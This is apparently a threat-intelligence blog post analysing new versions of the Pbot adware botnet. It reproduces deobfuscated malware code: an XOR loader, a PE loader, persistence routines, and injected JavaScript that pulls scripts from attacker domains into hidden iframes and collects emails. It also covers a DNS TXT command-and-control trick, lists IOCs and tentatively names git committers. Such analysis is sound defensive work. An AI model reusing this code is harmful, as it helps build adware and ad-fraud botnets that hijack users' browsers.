Not your same old adware anymore, PBOT updates

Adware has historically been ignored but more and more actors over the years have realized what things such as browser extensions really are, a botnet. So what makes an extension malicious or not is dependent on who is running the botnet, however this can change as people can buy the rights to a popular extension and then load whatever they want, takeover a developers account, or even just develop their own and leverage them over time.

Recently Microsoft talked about an adware botnet that leverages browser extensions and credential stealers[4], I had also talked about another adware botnet being distributed as installers and leveraging the same ‘Finder’ stealer[3]. While recently investigating some infrastructure we pivoted to from an actor involved in both botnets we stumbled upon some interesting insights into Pbot, Pbot is a system of python scripts and PE components leveraged for adware and it hasn’t changed too much since Malwarebytes did an excellent write up on it in 2018[5].

What’s new in Pbot?

Pbot is mostly the same these days but they leverage NSIS installers for installation of their various components now.

An example of an installer for ‘my_’ excluding the onboard python:

filter.bin
rules.ini
settings.ini
start.bin
start.pyc
js/example.js
js/vd.js
js/yt.js
$INSTDIR_upd/Kodobi.exe
$INSTDIR_upd/start.bin
$INSTDIR_upd/start.pyc
$PLUGINSDIR/nsExec.dll

After decoding and deobfuscating the scripts we are left with python scripts that are very similar to what Malwarebytes went through. As such we will simply highlight some of the additional obfuscations.

‘start.pyc’ is responsible for loading in, XOR decoding and executing ‘start.bin’ which means ‘start.bin’ will be python code as well.

>>> a = open(‘start.bin’, ‘rb’).read()
>>> key = [119, 202, 9, 62, 242, 222, 133, 29, 119, 84, 152, 171, 160, 91, 146, 153, 126, 48]
>>> a = bytearray(a)
>>> for i in range(len(a)):
… a[i] ^= key[i%len(key)]

>>> a
bytearray(b’import zlib\r\nimport b

The decoded ‘start.bin’ code is very similar to what was already detailed by Hasherzade in their Malwarebytes article, this script is responsible for loading the ‘filter.bin’ file before decoding it:

HF = open(‘filter.bin’, ‘rb’)
C.GetVersion()
Hx = HF.read()
X.UnhookWindowsHookEx(414986859)
HF.close()
X.GetSubMenu(3554727512,876685492)
HU = len(Hx)
C.GetCommandLineA()
X.RegisterHotKey(2993556035,767033726,1828451905,4004424231)
HN = C.VirtualAlloc(0, 1748992, 4096, 64)

Decoding will utilize a list of list that is stored pickled at the base of a base64 blob and then load the file expecting a PE file:

if (d(hy) != 23117):
z(‘Not an MZ image!’)
cH = t((hy + s.cx.offset))
cc = (hy + cH)
if (t(cc) != 17744):
z(‘Not an PE image!’)

This script is also responsible for installing persistence:

def mainfn():
from time import time
from math import ceil
from sys import argv
from random import shuffle
checkers=[chkStartUpLnk, chkRegRun, chkTask]
deleters=[delStartUpLnk, delRegRun, delTask]
healers=[setStartUpLnk, setRegRun, setTask]
if getattr(opts, “ACTION”)==“default”:
tm=0.0
if os.path.isfile(‘time.txt’):
f=open(‘time.txt’)
tm=parseTime(f.read())
f.close()
f=open(‘time.txt’, ‘w’)
f.write(str(time()))
f.close()
if time()-tm<63.0:
return
subprocess.Popen(launchCmd, creationflags=0x00000208)
toHeal=[]
for i in range(0, len(checkers)):
if not checkersi:
toHeal.append(healers[i])
shuffle(toHeal)
nWorked = len(checkers)-len(toHeal)
minWorked=ceil(len(checkers)0.5)
nHeal=max(minWorked-nWorked, 0)
for j in range(0, nHeal):
toHealj
return
if getattr(opts, “ACTION”)==“inst”:
for h in healers:
h()
return
if getattr(opts, “ACTION”)==“uninst”:
for d in deleters:
d()
return
mainfn()

Some of the other files line up with the Malwarebytes article such as the rules.ini file and settings.ini, the installers also come with a few javascript files on board which have some interesting crossover with some other adware bot campaigns seen previously.

!function () {
if(window.location.href.indexOf(‘www.youtube.com’) + 1 && window.top == window) {
var script_old_new = document.createElement(‘script’);
script_old_new.src = “https://in.levitatedpie.com/soft_yo.js”;
script_old_new.async = false;
document.head.appendChild(script_old_new);
} else {
if (document.location.href !== “https://www.youtube.com/embed/”) {
if (window.top !== window) return
var new_yt_generic_div = document.createElement(‘div’);
new_yt_generic_div.style = ‘transform: scale(0.01, 0.01)’;
new_yt_generic_div.style.position = ‘fixed’;
new_yt_generic_div.style.left = ‘0px’;
new_yt_generic_div.style.top = ‘0px’;
new_yt_generic_div.style.width = ‘10px’;
new_yt_generic_div.style.height = ‘10px’;
new_yt_generic_div.style.opacity = ‘0.1’;
new_yt_generic_div.style.overflow = ‘hidden’;
var frame = document.createElement(‘iframe’);
frame.src = ‘https://www.youtube.com/embed/’;
frame.style.top= ‘0px’;
frame.style.width = ‘730px’;
frame.style.height = ‘490px’;
new_yt_generic_div.appendChild(frame);
document.body.appendChild(new_yt_generic_div);
}
if (document.location.href === “https://www.youtube.com/embed/”) {
var script_old_new = document.createElement(‘script’);
script_old_new.src = “https://in.levitatedpie.com/soft_embed.js”;
script_old_new.async = false;
document.head.appendChild(script_old_new);
}
}
}();

Also a script that will load more scripts:

if (document.documentElement.hasAttribute(‘new-advpp’)) {
return;
}
document.documentElement.setAttribute(‘new-advpp’, ‘yes’);
window[‘advppUserId’] = window.O7JFWNKS2FkEhGn3dFE;
var n = document.createElement(‘script’);
n.src = ‘//api.ppfr52sx.xyz/common/module.js?streamId=TnpNPQ==’;
document.body.appendChild(n);

The script ‘module.js’ will then load ‘union-module.js’:

this.apiUrl = ‘//api.ppgw3t5e.xyz/common/union-module.js’;

The sequence of loading follow up javascript files continues on for awhile, some seem to be related to performing advertising fraud and fake clicks or loading more scripts into invisible iframes:

var iframe = document.createElement(‘iframe’);
iframe.name = “advpp_manager”;
iframe.src = “//api.ppgw3t5e.xyz/common/cookie”;
iframe.width = ‘0px’;
iframe.height = ‘0px’;
iframe.style.border = ‘0px’;
document.body.appendChild(iframe);

Some of the other tracking gets pretty in depth:

UnionModule.manager.init()
.then(function () {
if (!CookiesModule.getCookie("___ml_clltr")) {
new JsLoader(’//api.ppgw3t5e.xyz/assets/javascripts/collect-emails.js’, function () {
collectEmail(UserModule.getUserId(), ‘api.ppgw3t5e.xyz’);
});
}
return UnionModule.manager.readCookie(“visits”);
})

Also references to utilizing coinhive and some slightly obfuscated strings decoded via regex:

_ch: “Co” + ‘’ + “in” + “” + ‘Hi’ + ‘’ + ‘ve’,
_an: “An” + “” + “” + ‘o’ + ‘’ + ‘ny’ + ‘’ + ‘mous’,
var cc = ‘345435C067586r0004y34p345t545o045J35670654S4512237789’;
var s = ‘4598A0000413E13S435665465465490890’;
var rd = ‘0974545d3455497e5468789c235r545646134y34565958p45654645t4564645124386543’;
>>> a = ‘345435C067586r0004y34p345t545o045J35670654S4512237789’
>>> [x for x in a if x not in ‘0123456789’]
[‘C’, ‘r’, ‘y’, ‘p’, ‘t’, ‘o’, ‘J’, ‘S’]
>>> a = ‘4598A0000413E13S435665465465490890’
>>> [x for x in a if x not in ‘0123456789’]
[‘A’, ‘E’, ‘S’]
>>> a = ‘0974545d3455497e5468789c235r545646134y34565958p45654645t4564645124386543’
>>> [x for x in a if x not in ‘0123456789’]
[‘d’, ‘e’, ‘c’, ‘r’, ‘y’, ‘p’, ‘t’]

Inside this NSIS installer is another NSIS installer called a Kodobi bundle.

load.bin
load.pyc
mjfnijmemjilopepdgnakgghiboempgf.crx
$PLUGINSDIR/nsExec.dll

After decoding the ‘load.bin’ file in the same way we decoded the previous ‘start.bin’ file we are left with a different script with onboard config data:

cnf = json.loads("{“suffix”: “/my”, “domain”: “upd.oyl4b8zhi.life”}")
DOMAIN = cnf[‘domain’]
SUFFIX = cnf[‘suffix’]

This domain is resolved later in the script to build the URL that will be used for communications:

resolver = dns.resolver.Resolver()
resolver.nameservers = [‘8.8.8.8’, ‘8.8.4.4’]
answers = resolver.query(DOMAIN, ‘TXT’)
url = base64.b64decode(answers[0].strings[0]).decode(“utf8”) + SUFFIX

Some interesting things going on here, the resolver is looking for the TXT record and then appears to expect a BASE64 encoded URL?

The domain ‘upd.oyl4b8zhi.life’ had a TXT record set to:

aHR0cDovL2VmcmNxd3Z2Lnh5ei91cGQ=

Decoded:

http://efrcqwvv[.]xyz/upd

After adding the suffix we would be left with

http://efrcqwvv[.]xyz/upd/my

A quick pivot on this came up from these DNS TXT records:

;; QUESTION SECTION:
;upd.cdn-j4v2svnc.biz. IN TXT
;; ANSWER SECTION:
upd.cdn-j4v2svnc.biz. 3600 IN TXT “aHR0cDovL2VmdWphcW5yLnh5ei91cGQ=“

Decoded:

http://efujaqnr[.]xyz/upd

The first thing the script does with these secondary domains is pull down a config.json file:

{“update”:[{“from”:”/files/rules.ini?”,“to”:“rules.ini”,“sha1”:“d401305618f85e63524cd7393a991d9e32d90b21”},{“from”:"/files/example.js?",“to”:“js\example.js”,“sha1”:“5d4b2d97d2eff59e30c057ea89f435501bd6856a”},{“from”:"/files/adjts.js?",“to”:“js\adjts.js”,“sha1”:“b645d640097f8ef4d95189ad01161c1520addfcf”}],“afterupdate”:[]}

These files from the config.json tell the bot what files it can download and how to store them locally, also in this bundle is a Chrome extension:

  “background”: {
“scripts”: [
“background.js”
],
“persistent”: false
},
“browser_action”: {
“default_title”: “Kodobi”
},
“permissions”: [
"http://
/",
"https://
/*",
“storage”,
“unlimitedStorage”,
“tabs”
],

The ‘background.js’ file will start another chain of loading ads for many different companies.

Behind the scenes, who runs Pbot?

That was a whirlwind tour of updates on Pbot, the DNS TXT records were pretty interesting and I’m not sure if the people behind Pbot understood what that meant for being able to track and trace them.

Let’s jump to the builder:

The files folder will contain each affiliates build:

I try to respect people’s wishes to not be touched but in this case we made an exception.

“id” INTEGER NOT NULL,
“advppUrl” VARCHAR(255) NOT NULL,
“metrikaId” VARCHAR(255) NOT NULL,
“googleId” VARCHAR(255) NOT NULL,
“googleId2” VARCHAR(255) NOT NULL,
“updateServer” VARCHAR(255) NOT NULL,
“updatePrefix” VARCHAR(255) NOT NULL,
“exeFileName” VARCHAR(255) NOT NULL,
“autoRebuild” BOOLEAN NOT NULL,
“workingOnMailRu” BOOLEAN NOT NULL,
“bundleExe” VARCHAR(255) NOT NULL,
“bundleExeParams” VARCHAR(255) NOT NULL,
“disableUninstall” BOOLEAN NOT NULL,
“hideUninstall” BOOLEAN NOT NULL,
“isEmptyRules” BOOLEAN NOT NULL,
“emptyRulesTimeout” INTEGER NOT NULL,
“hasKodobiBundle” BOOLEAN NOT NULL,
“customName” VARCHAR(255),
“certCustomName” VARCHAR(255),
“addCertificate” VARCHAR(255), hasSearchBundle boolean NOT NULL default 0,
77|//api.pp5rfdsq.life/common/module.js?streamId=TWpFMA==
80|//api.test.advpartners.org/common/module.js?streamId=TVRrMw==&isAdvpp=true
82|//api.test.advpartners.org/common/module.js?streamId=TVRrMw==&isAdvpp=true
83|//api.ppgw3t5e.xyz/common/module.js?streamId=TnpFPQ==
84|//api.ppgw3t5e.xyz/common/module.js?streamId=TlRjPQ==
85|//api.pptfhu11.biz/common/module.js?streamId=TlRRPQ==

Interesting site listed for ‘test’ of ‘advpartners’.

Listed as a platform to ‘Monetize your extension’. Interesting, but who?

The project is hosted on bitbucket:

url = [email protected]:alexander-spesivtsev/webspark-build-runner.git

User Alexander Spesivtsev which I’m assuming is a fake name and not the russian serial killer himself. The first commit was actually from “x <[email protected]>” where the person was backing up the source code for the builder:

Author: x <[email protected]>
Date: Tue Oct 16 07:18:20 2018 +0300
backup source of builder from windows server

A few days later is when the “Alexander Spesivtsev” shows up, meaning the code base could have been acquired from someone else before this user got it.

Author: Alexandr Spesivtsev <[email protected]>
Date: Thu Oct 18 12:10:35 2018 +0700
rewrite

However there are some interesting names in the GIT logs aside from the obviously fake ones.

Author: Ruslan <[email protected]>
Date: Thu Dec 13 22:44:35 2018 +0500
- убрано сохранение в tmp_exe

Including an instance where this ‘Ruslan’ person uses the same local-internet.ru domain years later:

Author: proger <[email protected]>
Date: Thu Oct 8 04:40:38 2020 -0700
- update

So who is Ruslan? The only connection I could find to the moniker was to the teacher email which shows a Ruslan individual as a representative for Moy-yii2 on Spark which is a startup listing for RU. It’s important to note that we can’t confirm if this is the person listed in the GIT commit as it could just as easily be someone using this individuals name, since the data can be tracked to what appears to be a real person we have redacted most of the information except for the data that can be directly referenced pivoted on from the GIT commits.

Credit: Spark.ru

IOCs

winpatchz.net
upd.cdn-j4v2svnc.biz
metds.net
efujaqnr.xyz
bestlivestat.com
efrcqwvv.xyz
oyl4b8zhi.life
efkbt6yy.biz
efounkpq.xyz
efzdeesa.xyz
advpartners.org
lipartners.ru
pp71r6ff.biz
ppaok2j3.xyz
ppard4g4.biz
ppc9o8fa.biz
ppdczpt6.biz
ppddsn6v.biz
ppdmi9oo.xyz
ppdxv69j.biz
ppevpl8u.xyz
ppfbe3ws.xyz
ppfd3c6h.xyz
ppfd6tbn.xyz
ppfercza.xyz
ppfr52sx.xyz
ppfrbaai.xyz
ppfrqamm.xyz
ppfsz5t5.xyz
ppgbtedd.biz
ppgczn65.xyz
ppgdwqqc.xyz
ppggfe2w.biz
ppgrfcc4.xyz
ppgw3t5e.xyz
pphb5dpz.xyz
pphgecv2.xyz
ppht4edv.xyz
ppijklp9.biz
ppijrfs9.xyz
ppirqvik.xyz
ppiy66dq.biz
ppjbsasc.biz
ppju76rf.xyz
pplfvseq.biz
ppln51fv.biz
ppnb2ap8.xyz
ppnmygkk.xyz
ppogpyz3.biz
ppoin2ws.xyz
ppqoi1b2.biz
pprfkk87.biz
pprum43y.biz
ppsbb4kj8.xyz
ppsqvgzj.xyz
pptfdalp.biz
pptfhu11.biz
pptfqxxs.biz
pptgvfrr.xyz
pptvpo9i.xyz
ppube3iy.xyz
ppubfefr.biz
ppubh2fc.biz
ppunppqa.xyz
pputjqyy.biz
ppuyvccj.biz
ppvpmk5q.xyz
ppwoyj98.biz
ppyvbv32.biz
ppyvoa6t.biz
ppyvzz8u.biz
rdhveq19.biz
rdpjyg3z.biz
ws-test.pw
cdn-j4v2svnc.biz

References

1: https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia

2: https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/

3: https://www.flashpoint-intel.com/blog/newly-discovered-malware-framework-cashing-in-on-ad-fraud/

4: https://www.microsoft.com/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/

5: https://blog.malwarebytes.com/threat-analysis/2018/04/pbot-python-based-adware/

Not your same old adware anymore, PBOT updates was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Article Link: https://medium.com/walmartglobaltech/not-your-same-old-adware-anymore-pbot-updates-6d43b159ab35?source=rss----905ea2b3d4d1---4